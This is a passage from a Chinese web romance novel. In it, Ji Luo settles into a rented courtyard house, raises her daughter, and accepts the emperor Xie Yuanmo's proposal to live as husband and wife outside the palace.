说着,婶子往前边瞧了一眼,“这不,打算就这么办个丧事,这事也就算了了。” 听到这处,前边拥挤的人群也已经疏散开来,马车重新启动,纪萝便也将帘子放下。 而那男子与那婶子还在唏嘘感慨着,说是前些时日王绍的丧事办得风光,如今王玉盈这一场却是实实在在的寒酸许多之类,只是纪萝的马车已经远去,自然也就听不到这些声音了。 不过她知道了王玉盈的死讯,甚至是这样不体面的死法,她心底并不会因此而有半分同情。 王玉盈害死了芸枝,对于纪萝而言,即便是将她千刀万剐也是不为过的,如今她就这样不体面的丢了性命,纪萝也只惋惜没有亲眼看见这般景象而已。 她心想着,等寻了空闲,定要再去见一见芸枝,总要将这大快人心的消息告知于她才是! 马车行了一个时辰左右才到了那巷子。 其实两边距离并未相隔这样远,只是路上耽搁了些时间所以才费了这些时辰。 等到了那宅院之后,纪萝便知这一趟不曾白来。 因为这院子完全是符合纪萝要求的,虽唯有一处厅室并无多余偏院,厅室旁房间也并不算多,可如此一来便显得院子更是宽阔。 不过因着许久不曾住人的缘故,院子里杂草丛生,甚至长出了几棵处理起来颇为麻烦的灌木。 那人引着纪萝与吉香进来时候看见这般景象也有些尴尬,不过也正因着这些缘故,他在租金上又压低了许多。 他知道纪萝这几日已经四处问过了,对这上京租宅院的行情应当都大约知晓,所以也不敢把价格报得高了,甚至因着院子里间的情况不算太好还刻意压低的了价格。 他这个宅院位置不好也就罢了,偏偏又是大院子,寻常人家用不上这样大的院子,若是大户人家要租用,这房间又少了些,所以始终不曾遇上合适的租户。 这会儿见纪萝对这宅院很是中意,便也不想放过了这机会,自然也不敢给出高价。 纪萝并非是做事拖延之人,既然见这宅院颇为合适,连价格也比自己预料的还要低上几分,索性便定了下来。 拿了银子,宅院的主人显得越发热络,甚至将宅院外间哪里方便购买物件,哪里方便兜售东西都介绍了一通,等天色渐暗,纪萝才回了沈国公府。 沈文清是舍不得纪萝就这样离开的,她总说有了纪萝在,身边就有了一个能制住表兄的人,身心都舒畅了许多! 只是如今纪萝也已经寻着了住所,她也不好强留,只好答应。 等纪萝搬家这一日,沈文清与谢元墨都来了,因着要清理院子,纪萝一早便到了宅院。 纪萝原本想着这并非省心的活计,只是自己与吉香二人怕是不知要做到什么时候,况且其中横生的灌木也实在不少,考虑到这些,纪萝便索性多请了两个小工。 不想当日,沈文清与谢元墨两人竟是亲自帮着她做了不少活计。 两个向来养尊处优的人,做起这些杂活来虽说比不上那些小工,可也能称一句利索。 如此下来,不过两日功夫便将这院子清理妥当,纪萝与吉香便也就在此处安心住了下来 。 *** 夏去冬来,时日过得极快。 原本修理过的庭院这会儿已经是井井有条地种上了各式蔬菜,甚至还单独开辟出了一片地养上了鸡鸭,实在是一副欣欣向荣的景象。 而纪萝的肚子越来越大,也很快到了生产之时。 这一夜,谢元墨几乎将宫中所有擅接生的太医都带了出来,更是生生在外间守了一整夜。 好在纪萝的身子不错,孩子也颇为健康,一切都颇为顺利。 又过了一年,纪萝的女儿小萝卜已经可以学着走路,也能声音软糯地唤纪萝“母亲”,也会唤谢元墨“父亲”。 谢元墨即便是公务最为繁忙的时候,每隔三日,也至少会来探望纪萝与小萝卜一回。 他虽然不曾时时刻刻陪在小萝卜身边,可照料小萝卜也颇为细致,每回过来,也都会给她带些小礼物,所以小萝卜与他也分外亲密。 这一日,谢元墨却是连着三日不曾过来。 纪萝倒也并未太将这事放在心上,她知谢元墨毕竟是一国君主,总有脱不开身来的时候,只是小萝卜却念叨了几次,说是想见爹爹,不过吃了几块纪萝亲手做的小点心之后就彻底将这事抛在了脑后。 午后,沈文清却来了一趟,说是要带着纪萝与小萝卜出外头的逛逛,“表哥这几日手头事务实在不少,所以今日怕是没有空闲过来,不过我趁机向他要了银子,咱们一起出去逛逛罢?” 纪萝原本是想拒绝的,可小萝卜已经能大概听得懂大人说话,一听沈文清这样说,眼睛一下子便亮了起来,看着沈文清口齿不清地念着,“姑姑……去玩……去玩。” 纪萝与沈文清听她这样说,都不由笑了。 最后纪萝还是带着小萝卜与沈文清一同逛了一整个下午,在沈文清的劝说下,纪萝不仅给小萝卜添置了不少东西,也给自己买了衣裳与首饰。 原本只说是陪着沈文清进去瞧瞧,可后来沈文清却硬是选了几套成衣,说是很是适合纪萝。 纪萝实在拗不过她,只得去试了几件衣裳,不料等她换上一件浅蓝色衣裙,沈文清却看直了眼,连连夸赞好看,让纪萝都有些不好意思了。 等她想去将原本的衣裳换回来,沈文清却已经令铺子老板将她的旧衣裳包好,道:“阿萝,还是不换回来了,你今日就穿这件衣裳陪我逛街吧!” 纪萝眼见原本的衣裳已经被收好,也只得无奈答应。 就这么折腾了整整一日,等到快到用晚膳的时候,沈文清才算是逛得差不多了。 天色渐暗,三人才一同回了家中。 进进里间之前,却是沈文清先一步开了门,甚至目光有意无意地往里瞧了一眼,而后才看向纪萝道:“阿萝,进来吧。” 这样的举动实在古怪,纪萝隐约意识到有些古怪,再联想到她这一整日的所作所为,一切似乎都指向了某个可能,纪萝如此想着,迟疑着往里间走去。 果真见整个院子已经被重新装扮了一番,乡野采来的各式鲜花与精巧得灯笼穿插交映着,朦胧的光亮给周遭平添了几分暧昧的气息。 纪萝还有些没有回过神来,谢元墨便从这条缀满鲜花道路的另一端缓缓走来,他手上捧着开得正好的鲜花,一步步向纪萝靠近。 这一瞬间,纪萝仿佛失去了思考的能力,几乎放纵地任由自己沉溺其中,可等谢元墨走到她面前,说出那句,“阿萝,嫁给我,好吗?”的时候,她却又猛然清醒过来。 她定定地看着眼前人,半晌,她叹了口气,“你是天子,我们之间,如何成婚?” “阿萝。”谢元墨似乎早就料到她会这样说,于是顺势握住她的手,认真道:“我所求的,只是在宫外,在这一方庭院之中,我们能做一对真正的夫妻。” “旁的,我不奢求。” 纪萝怔住,她原以为谢元墨是要逼她入宫的,可不曾想到…… 其实仔细想来也是,谢元墨虽然时常来这里看她,小萝卜也唤他“爹爹”,可两人的关系似乎总不像是夫妻一般。 最初纪萝得知谢元墨的身份之时,她只觉得两人这份情意定然不会长久,可算算到如今,已经两年过去,他即便公务再如何繁忙,每隔两日,都会来见她一回。 最忙的时候,他甚至只是过来看了看她,连茶水都来不及喝上一口便匆匆离去。 这份情意,似乎远远比纪萝想象中要更是坚定。 而从沈文清口中,她也得知虽说太后与沈老夫人一再催促谢元墨立后,连朝臣们也为了这事上过堆积如山的奏折,可谢元墨非但没有任何要答应的意思,反而从旁支中选了好几个资质不错,如今已经安排夫子用心教养,显然是已经有了安排。 纪萝听得话时,虽然表面上看起来似乎并未在意,但心里却是不可能全然没有感觉的。 谢元墨为了她,竟愿意舍下一切…… 而此时,纪萝想起往日种种,眼底不由微微酸涩,她接过谢元墨手中花,而后轻轻抱住他,应道:“好,至少在这一方庭院中,我们永远是夫妻。” 谢元墨指尖微颤,而后将怀中人抱紧,“好。” 他没有让纪萝等待,他只想着月色正好,景致宜人,他们应当,白首不相离。【你现在阅读的是 】